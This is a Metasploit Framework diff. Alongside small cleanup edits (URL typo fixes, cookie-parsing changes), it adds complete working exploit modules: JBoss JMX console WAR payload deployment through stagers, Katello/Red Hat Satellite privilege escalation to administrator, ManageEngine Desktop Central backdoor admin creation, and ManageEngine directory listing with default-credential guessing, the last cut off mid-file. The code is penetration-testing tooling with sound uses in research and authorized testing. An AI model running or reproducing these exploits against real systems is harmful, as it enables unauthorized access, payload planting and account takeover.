b/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb index 8a1791e962..1c54a65368 100644 --- a/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb +++ b/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb b/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb index 3dd5f04a30..af5541a50a 100644 --- a/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb +++ b/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb index 5319aa8d6f..4f5d3de838 100644 --- a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb +++ b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/axigen_file_access.rb b/modules/auxiliary/admin/http/axigen_file_access.rb index 2b3e656c44..7b4925a4ca 100644 --- a/modules/auxiliary/admin/http/axigen_file_access.rb +++ b/modules/auxiliary/admin/http/axigen_file_access.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Auxiliary OptString.new('TARGETURI',[ true, 'Path to Axigen WebAdmin', '/' ]), OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]), - OptString.new('PATH', [ true, 'The file to read or delete', "\\boot.ini" ]) + OptString.new('PATH', [ true, 'The file to read or delete', "\\windows\\win.ini" ]) ], self.class) end @@ -167,7 +167,7 @@ class Metasploit3 < Msf::Auxiliary if res and res.code == 303 and res.headers['Location'] =~ /_h=([a-f0-9]*)/ @token = $1 - if res.headers['Set-Cookie'] =~ /_hadmin=([a-f0-9]*)/ + if res.get_cookies =~ /_hadmin=([a-f0-9]*)/ @session = $1 return true end diff --git a/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb b/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb index 633e009fe4..9d89a5b782 100644 --- a/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb +++ b/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -113,7 +113,7 @@ class Metasploit4 < Msf::Auxiliary print_error($1) return else - session = $1 if res.headers['Set-Cookie'] =~ /_vmdb_session=(\h*)/ + session = $1 if res.get_cookies =~ /_vmdb_session=(\h*)/ if session.nil? print_error('Failed to retrieve the current session id') diff --git a/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb b/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb index fd3e12adbd..725f125d26 100644 --- a/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb +++ b/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb index ca68fe3f82..cc807330d1 100644 --- a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb +++ b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb index d8a87eb489..cb95df48c3 100644 --- a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb index 80b7571f9a..dad5e64ed6 100644 --- a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb b/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb index bdd15b4d30..0fb48eb584 100644 --- a/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb +++ b/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -67,7 +67,7 @@ class Metasploit4 < Msf::Auxiliary print_error('Authentication failed') return else - session = $1 if res.headers['Set-Cookie'] =~ /_session_id=([0-9a-f]*)/ + session = $1 if res.get_cookies =~ /_session_id=([0-9a-f]*)/ if session.nil? print_error('Failed to retrieve the current session id') diff --git a/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb b/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb index 4116409a2f..5a1fcb3cd2 100644 --- a/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb +++ b/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/iis_auth_bypass.rb b/modules/auxiliary/admin/http/iis_auth_bypass.rb index 765c4428ae..4601c36955 100644 --- a/modules/auxiliary/admin/http/iis_auth_bypass.rb +++ b/modules/auxiliary/admin/http/iis_auth_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/intersil_pass_reset.rb b/modules/auxiliary/admin/http/intersil_pass_reset.rb index 465a4aa556..e397eb9f3f 100644 --- a/modules/auxiliary/admin/http/intersil_pass_reset.rb +++ b/modules/auxiliary/admin/http/intersil_pass_reset.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb b/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb index 2bad61b536..e3b3932032 100644 --- a/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb +++ b/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/jboss_bshdeployer.rb b/modules/auxiliary/admin/http/jboss_bshdeployer.rb new file mode 100644 index 0000000000..1c920a03a6 --- /dev/null +++ b/modules/auxiliary/admin/http/jboss_bshdeployer.rb @@ -0,0 +1,139 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::HTTP::JBoss + + def initialize + super( + 'Name' => 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment', + 'Description' => %q{ + This module can be used to install a WAR file payload on JBoss servers that have + an exposed "jmx-console" application. The payload is put on the server by + using the jboss.system:BSHDeployer's createScriptDeployment() method. + }, + 'Author' => + [ + 'us3r777 <us3r777[at]n0b0.so>' + ], + 'References' => + [ + [ 'CVE', '2010-0738' ], # using a VERB other than GET/POST + [ 'OSVDB', '64171' ], + [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ], + [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ] + ], + 'Actions' => + [ + ['Deploy'], + ['Undeploy'] + ], + 'DefaultAction' => 'Deploy', + 'License' => BSD_LICENSE, + ) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('APPBASE', [ true, 'Application base name', 'payload']), + OptPath.new('WARFILE', [ false, 'The WAR file to deploy']) + ], self.class) + end + + def deploy_action(app_base, war_data) + encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '') + + if http_verb == 'POST' + print_status("#{peer} - Deploying payload...") + opts = { + :file => "#{app_base}.war", + :contents => encoded_payload + } + else + print_status("#{peer} - Deploying stager...") + stager_name = Rex::Text.rand_text_alpha(8 + rand(8)) + stager_contents = stager_jsp(app_base) + opts = { + :dir => "#{stager_name}.war", + :file => "#{stager_name}.war/#{stager_name}.jsp", + :contents => Rex::Text.encode_base64(stager_contents).gsub(/\n/, '') + } + end + + bsh_payload = generate_bsh(:create, opts) + package = deploy_bsh(bsh_payload) + + if package.nil? + print_error("#{peer} - Deployment failed") + return + else + print_good("#{peer} - Deployment successful") + end + + unless http_verb == 'POST' + # call the stager to deploy our real payload war + stager_uri = '/' + stager_name + '/' + stager_name + '.jsp' + payload_data = "#{Rex::Text.rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}" + print_status("#{peer} - Calling stager #{stager_uri} to deploy final payload...") + res = deploy('method' => 'POST', + 'data' => payload_data, + 'uri' => stager_uri) + if res && res.code == 200 + print_good("#{peer} - Payload deployed") + else + print_error("#{peer} - Failed to deploy final payload") + end + + # Remove the stager + print_status("#{peer} - Removing stager...") + files = {} + files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp" + files[:stager_base] = "#{stager_name}.war" + delete_script = generate_bsh(:delete, files) + res = deploy_package(delete_script, package) + if res.nil? + print_error("#{peer} - Unable to remove Stager") + else + print_good("#{peer} - Stager successfully removed") + end + end + + end + + def undeploy_action(app_base) + # Undeploy the WAR and the stager if needed + print_status("#{peer} - Undeploying #{app_base} by deleting the WAR file via BSHDeployer...") + + files = {} + files[:app_base] = "#{app_base}.war" + delete_script = generate_bsh(:delete, files) + + package = deploy_bsh(delete_script) + if package.nil? + print_error("#{peer} - Unable to remove WAR") + else + print_good("#{peer} - Successfully removed") + end + end + + def run + app_base = datastore['APPBASE'] + + case action.name + when 'Deploy' + unless datastore['WARFILE'] && File.exist?(datastore['WARFILE']) + print_error("WAR file not found") + return + end + war_data = File.read(datastore['WARFILE']) + deploy_action(app_base, war_data) + when 'Undeploy' + undeploy_action(app_base) + end + end +end diff --git a/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb b/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb new file mode 100644 index 0000000000..608556bd1e --- /dev/null +++ b/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb @@ -0,0 +1,143 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::HTTP::JBoss + + def initialize + super( + 'Name' => 'JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment', + 'Description' => %q{ + This module uses the DeploymentFileRepository class in the JBoss Application Server + to deploy a JSP file which then deploys an arbitrary WAR file. + }, + 'Author' => + [ + 'us3r777 <us3r777[at]n0b0.so>' + ], + 'References' => + [ + [ 'CVE', '2010-0738' ], # using a VERB other than GET/POST + [ 'OSVDB', '64171' ], + [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ], + [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ] + ], + 'Actions' => + [ + ['Deploy'], + ['Undeploy'] + ], + 'DefaultAction' => 'Deploy', + 'License' => BSD_LICENSE, + ) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('APPBASE', [ true, 'Application base name', 'payload']), + OptPath.new('WARFILE', [ false, 'The WAR file to deploy']) + ], self.class) + end + + def deploy_action(app_base, war_data) + stager_base = Rex::Text.rand_text_alpha(8+rand(8)) + stager_jsp_name = Rex::Text.rand_text_alpha(8+rand(8)) + encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '') + stager_contents = stager_jsp_with_payload(app_base, encoded_payload) + + if http_verb == 'POST' + print_status("#{peer} - Deploying stager for the WAR file...") + res = upload_file(stager_base, stager_jsp_name, stager_contents) + else + print_status("#{peer} - Deploying minimal stager to upload the payload...") + head_stager_jsp_name = Rex::Text.rand_text_alpha(8+rand(8)) + head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name) + head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp" + res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents) + + # We split the stager_jsp_code in multipe junks and transfer on the + # target with multiple requests + current_pos = 0 + while current_pos < stager_contents.length + next_pos = current_pos + 5000 + rand(100) + vars_get = { 'arg0' => stager_contents[current_pos,next_pos] } + print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})") + res = deploy('uri' => head_stager_uri, + 'vars_get' => vars_get) + current_pos += next_pos + end + end + + # Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA), + # but the file still gets written. + unless res && ( res.code == 200 || res.code == 500) + fail_with(Failure::Unknown, "Failed to deploy") + end + + print_status("#{peer} - Calling stager to deploy the payload warfile (might take some time)") + stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp' + stager_res = deploy('uri' => stager_uri, + 'method' => 'GET') + + if res && res.code == 200 + print_good("#{peer} - Payload deployed") + else + print_error("#{peer} - Failed to deploy final payload") + end + + # Cleaning stagers + print_status("#{peer} - Undeploying stagers via DeploymentFileRepository.remove()...") + print_status("#{peer} - This might take some time, be patient...") if http_verb == "HEAD" + delete_res = [] + if head_stager_jsp_name + delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp') + end + delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp') + delete_res << delete_file('./', stager_base + '.war', '') + delete_res.each do |res| + if !res + print_warning("#{peer} - Unable to remove WAR [No Response]") + elsif (res.code < 200 || res.code >= 300) + print_warning("#{peer} - WARNING: Unable to remove WAR [#{res.code} #{res.message}]") + end + end + end + + # Undeploy the WAR and the stager if needed + def undeploy_action(app_base) + print_status("#{peer} - Undeploying #{app_base} via DeploymentFileRepository.remove()...") + print_status("This might take some time, be patient...") if http_verb == "HEAD" + res = delete_file('./', app_base + '.war', '') + + unless res + print_error("#{peer} - Unable to remove WAR (no response)") + return + end + + if res.code < 200 || res.code >= 300 + print_error("#{peer} - Unable to remove WAR [#{res.code} #{res.message}]") + else + print_good("#{peer} - Successfully removed") + end + end + + def run + app_base = datastore['APPBASE'] + + case action.name + when 'Deploy' + unless datastore['WARFILE'] && File.exist?(datastore['WARFILE']) + fail_with("Unable to open WARFILE") + end + war_data = File.read(datastore['WARFILE']) + deploy_action(app_base, war_data) + when 'Undeploy' + undeploy_action(app_base) + end + end +end diff --git a/modules/auxiliary/admin/http/jboss_seam_exec.rb b/modules/auxiliary/admin/http/jboss_seam_exec.rb index 46aa87a3ca..e6b097d165 100644 --- a/modules/auxiliary/admin/http/jboss_seam_exec.rb +++ b/modules/auxiliary/admin/http/jboss_seam_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb b/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb new file mode 100644 index 0000000000..e442620315 --- /dev/null +++ b/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb @@ -0,0 +1,148 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize + super( + 'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization', + 'Description' => %q{ + This module exploits a missing authorization vulnerability in the + "update_roles" action of "users" controller of Katello and Red Hat Satellite + (Katello 1.5.0-14 and earlier) by changing the specified account to an + administrator account. + }, + 'Author' => 'Ramon de C Valle', + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-2143'], + ['CWE', '862'], + ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=970849'] + ], + 'DisclosureDate' => 'Mar 24 2014' + ) + + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('USERNAME', [true, 'Your username']), + OptString.new('PASSWORD', [true, 'Your password']), + OptString.new('TARGETURI', [ true, 'The path to the application', '/']), + ], self.class + ) + end + + def run + print_status("Logging into #{target_url}...") + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'user_session', 'new'), + 'vars_get' => { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + } + ) + + if res.nil? + print_error('No response from remote host') + return + end + + if res.headers['Location'] =~ /user_session\/new$/ + print_error('Authentication failed') + return + else + session = $1 if res.get_cookies =~ /_katello_session=(\S*);/ + + if session.nil? + print_error('Failed to retrieve the current session') + return + end + end + + print_status('Retrieving the CSRF token for this session...') + res = send_request_cgi( + 'cookie' => "_katello_session=#{session}", + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'dashboard') + ) + + if res.nil? + print_error('No response from remote host') + return + end + + if res.headers['Location'] =~ /user_session\/new$/ + print_error('Authentication failed') + return + else + session = $1 if res.get_cookies =~ /_katello_session=(\S*);/ + + if session.nil? + print_error('Failed to retrieve the current session') + return + end + end + + if res.headers['Location'] =~ /user_session\/new$/ + print_error('Failed to retrieve the user id') + return + else + csrf_token = $1 if res.body =~ /<meta[ ]+content="(\S*)"[ ]+name="csrf-token"[ ]*\/?>/i + csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(\S*)"[ ]*\/?>/i if csrf_token.nil? + + if csrf_token.nil? + print_error('Failed to retrieve the CSRF token') + return + end + + user = $1 if res.body =~ /\/users.(\d+)#list_search=#{datastore['USERNAME']}/ + + if user.nil? + print_error('Failed to retrieve the user id') + return + end + end + + print_status("Sending update-user request to #{target_url('users', user, 'update_roles')}...") + res = send_request_cgi( + 'cookie' => "_katello_session=#{session}", + 'headers' => { + 'X-CSRF-Token' => csrf_token + }, + 'method' => 'PUT', + 'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'), + 'vars_post' => { + 'user[role_ids][]' => '1' + } + ) + + if res.nil? + print_error('No response from remote host') + return + end + + if res.headers['X-Message-Type'] =~ /success$/ + print_good('User updated successfully') + else + print_error('Failed to update user') + end + end + + def target_url(*args) + (ssl ? 'https' : 'http') + + if rport.to_i == 80 || rport.to_i == 443 + "://#{vhost}" + else + "://#{vhost}:#{rport}" + end + normalize_uri(target_uri.path, *args) + end +end diff --git a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb index 08397bbf61..5a97960225 100644 --- a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb +++ b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb b/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb index 570bc1e02b..c69dcdc75b 100644 --- a/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb +++ b/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb index b1117837d7..8b7f998eac 100644 --- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb +++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb b/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb new file mode 100644 index 0000000000..253abbd34c --- /dev/null +++ b/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb @@ -0,0 +1,97 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine Desktop Central Administrator Account Creation', + 'Description' => %q{ + This module exploits an administrator account creation vulnerability in Desktop Central + from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in + several versions of Desktop Central (including MSP) from v7 onwards. + }, + 'Author' => + [ + 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-7862'], + ['OSVDB', '116554'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_dc9_admin.txt'], + ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/2'] + ], + 'DisclosureDate' => 'Dec 31 2014')) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 8020]), + OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']), + OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), + OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']), + OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc']) + ], self.class) + end + + + def run + # Generate password hash + salt = Time.now.to_i.to_s + password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*')) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "/servlets/DCPluginServelet"), + 'method' =>'GET', + 'vars_get' => { + 'action' => 'addPlugInUser', + 'role' => 'DCAdmin', + 'userName' => datastore['USERNAME'], + 'email' => datastore['EMAIL'], + 'phNumber' => Rex::Text.rand_text_numeric(6), + 'password' => password_encoded, + 'salt' => salt, + 'createdtime' => salt + } + }) + + # Yes, "sucess" is really mispelt, as is "Servelet" ... ! + unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/ + print_error("#{peer} - Administrator account creation failed") + end + + print_good("#{peer} - Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}") + service_data = { + address: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: datastore['PASSWORD'], + username: datastore['USERNAME'] + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + access_level: 'Administrator', + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) + end +end diff --git a/modules/auxiliary/admin/http/manageengine_dir_listing.rb b/modules/auxiliary/admin/http/manageengine_dir_listing.rb new file mode 100644 index 0000000000..03099e68f2 --- /dev/null +++ b/modules/auxiliary/admin/http/manageengine_dir_listing.rb @@ -0,0 +1,240 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "ManageEngine Multiple Products Arbitrary Directory Listing", + 'Description' => %q{ + This module exploits a directory listing information disclosure vulnerability in the + FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360. It + makes a recursive listing, so it will list the whole drive if you ask it to list / in + Linux or C:\ in Windows. This vulnerability is unauthenticated on OpManager and + Applications Manager, but authenticated in IT360. This module will attempt to login + using the default credentials for the administrator and guest accounts; alternatively + you can provide a pre-authenticated cookie or a username / password combo. For IT360 + targets enter the RPORT of the OpManager instance (usually 8300). This module has been + tested on both Windows and Linux with several different versions. Windows paths have to + be escaped with 4 backslashes on the command line. There is a companion module that + allows for arbitrary file download. This vulnerability has been fixed in Applications + Manager v11.9 b11912 and OpManager 11.6. + }, + 'Author' => + [ + 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-7863'], + ['OSVDB', '117696'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_failservlet.txt'], + ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/114'] + ], + 'DisclosureDate' => 'Jan 28 2015')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [true, "The base path to OpManager, AppManager or IT360", '/']), + OptString.new('DIRECTORY', [true, 'Path of the directory to list', '/etc/']), + OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), + OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']), + OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']), + OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)']) + ], self.class) + end + + + def get_cookie + cookie = nil + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI']) + }) + + if res + cookie = res.get_cookies + end + + cookie + end + + def detect_it360 + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + + if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/ + return true + end + + return false + end + + def get_it360_cookie_name + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/') + }) + + cookie = res.get_cookies + + if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/ + return $1 + else + return nil + end + end + + def authenticate_it360(port, path, username, password) + if datastore['DOMAIN_NAME'].nil? + vars_post = { + 'LOGIN_ID' => username, + 'PASSWORD' => password, + 'isADEnabled' => 'false' + } + else + vars_post = { + 'LOGIN_ID' => username, + 'PASSWORD' => password, + 'isADEnabled' => 'true', + 'domainName' => datastore['DOMAIN_NAME'] + } + end + + res = send_request_cgi({ + 'rport' => port, + 'method' => 'POST', + 'uri' => normalize_uri(path), + 'vars_get' => { + 'service' => "OpManager", + 'furl' => "/", + 'timestamp' => Time.now.to_i + }, + 'vars_post' => vars_post + }) + + if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ + # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed" + return res.get_cookies + end + + nil + end + + + def login_it360 + # Do we already have a valid cookie? If yes, just return that. + unless datastore['IAMAGENTTICKET'].nil? + cookie_name = get_it360_cookie_name + cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';' + return cookie + end + + # get the correct path, host and port + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/') + }) + + if res && res.redirect? + uri = [ res.redirection.port, res.redirection.path ] + else + return nil + end + + if datastore['USERNAME'] && datastore['PASSWORD'] + print_status("#{peer} - Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...") + cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD']) + unless cookie.nil? + return cookie + end + end + + default_users = ['guest', 'administrator', 'admin'] + + default_users.each do |user| + print_status("#{peer} - Trying to authenticate as #{user}...") + cookie = authenticate_it360(uri[0], uri[1], user, user) + unless cookie.nil? + return cookie + end + end + + nil + end + + def run + # No point to continue if directory is not specified + if datastore['DIRECTORY'].empty? + print_error('Please supply the path of the directory you want to list.') + return + end + + if detect_it360 + print_status("#{peer} - Detected IT360, attempting to login...") + cookie = login_it360 + else + cookie = get_cookie + end + + if cookie.nil? + print_error("#{peer} - Failed to get application cookies!") + return + end + + servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet' + res = send_request_cgi({ + 'method' => 'GET', + 'cookie' => cookie, + 'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet), + }) + if res && res.code == 404 + servlet = 'FailOverHelperServlet' + end + + # Create request + begin 